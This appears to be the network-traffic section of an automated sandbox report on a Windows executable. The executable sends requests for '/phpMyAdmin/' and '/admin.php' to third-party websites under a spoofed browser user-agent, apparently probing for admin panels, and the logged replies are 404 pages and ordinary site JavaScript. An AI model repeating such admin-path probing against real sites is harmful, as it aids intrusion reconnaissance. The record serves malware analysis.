2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e Data Ascii: equire an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}fun
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e Data Ascii: r("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e Data Ascii: 1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis in
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b Data Ascii: or occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	61830	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	175	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	924	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 35 34 32 38 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 38 33 38 30 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 55428Cache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700978380"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error(
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 Data Ascii: onds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enab
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e Data Ascii: equire an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}fun
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e Data Ascii: r("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e Data Ascii: 1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis in
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b Data Ascii: or occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);
2023-11-26 05:59:40 UTC	1378	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	61883	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	262	OUT	GET /admin.php HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=R0qqCwK.17oONu7RjBLPHjggdQkWTgT9UHD8GB3iYHI-1700978378407-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	505	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https:/
2023-11-26 05:59:40 UTC	864	IN	Data Raw: 37 64 61 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 Data Ascii: 7da3<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8">...[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 75 63 68 2d 69 63 6f 6e 5f 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6f 72 74 6f 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 31 35 32 78 31 35 32 2e 70 6e 67 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 27 20 79 65 73 2d 6a 73 Data Ascii: uch-icon_76x76.png"><link rel="apple-touch-icon" sizes="152x152" href="//tradeavenida.com/wp-content/themes/porto/images/logo/apple-touch-icon_152x152.png"><script>document.documentElement.className = document.documentElement.className + ' yes-js
